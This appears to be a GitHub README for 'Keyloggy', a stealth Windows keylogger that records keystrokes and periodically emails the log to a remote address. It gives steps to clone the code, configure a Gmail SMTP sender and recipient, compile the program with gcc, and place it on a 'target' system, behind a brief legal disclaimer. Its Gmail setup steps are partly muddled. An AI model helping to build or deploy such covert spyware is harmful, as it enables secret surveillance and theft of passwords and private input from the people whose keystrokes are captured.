KeyLoggy

Description:

Keyloggy is a lightweight keylogger tool designed for monitoring keystrokes on Windows systems. It operates in stealth mode, capturing keyboard input and saving it to a log file. The tool periodically sends the logged data via email, allowing you to remotely monitor the recorded keystrokes. Keyloggy is intended for legal and ethical purposes, such as monitoring computer activity on authorized devices or conducting security audits.

Please note that using this tool for unauthorized access to personal information or engaging in any malicious activities is strictly prohibited and may be illegal. Use this tool responsibly and adhere to applicable laws and regulations.

Installation:

To install and use Keyloggy, follow these steps:

Clone the repository or download the source code package.

git clone https://github.com/Toothless5143/KeyLoggy.git && cd KeyLoggy

Open the code in your preferred C compiler or IDE.
Build the project to generate the executable file.
Ensure that the necessary dependencies (windows.h, time.h, and winsock2.h) are available. If any dependencies are missing, install them using the package manager for your development environment.
Customize the configuration options in the code, such as the log file name, email server, sender and recipient addresses, and other settings.
Obtain the SMTP server domain for sending emails via Gmail's SMTP server. Here's how:
- Open your web browser and go to the Gmail website (https://www.gmail.com).
- Log in to your Gmail account or create a new one if you don't have an account.
- After logging in, click on the gear icon in the top right corner of the Gmail interface and select "Settings" from the dropdown menu.
- In the Settings page, navigate to the "Accounts and Import" or "Accounts" tab.
- Look for the "Send mail as" or "Send mail from another address" section. Here, you should see the email addresses you have configured to send emails from.
- Identify the email address you want to use as the sender address in the code.
- The SMTP server domain for Gmail is typically in the format smtp.gmail.com.
- Replace the current value of GMAIL_SERVER in the code ("gmail-smtp-in.l.google.com") with the SMTP server domain you obtained from the previous step ("smtp.gmail.com").
Compile the code to create the Keyloggy executable file. If you are using GCC, you can compile the code with the following command:
```
gcc -o keyloggy keyloggy.c
```
Ensure that the compiled executable is placed in a secure location on the target Windows system.
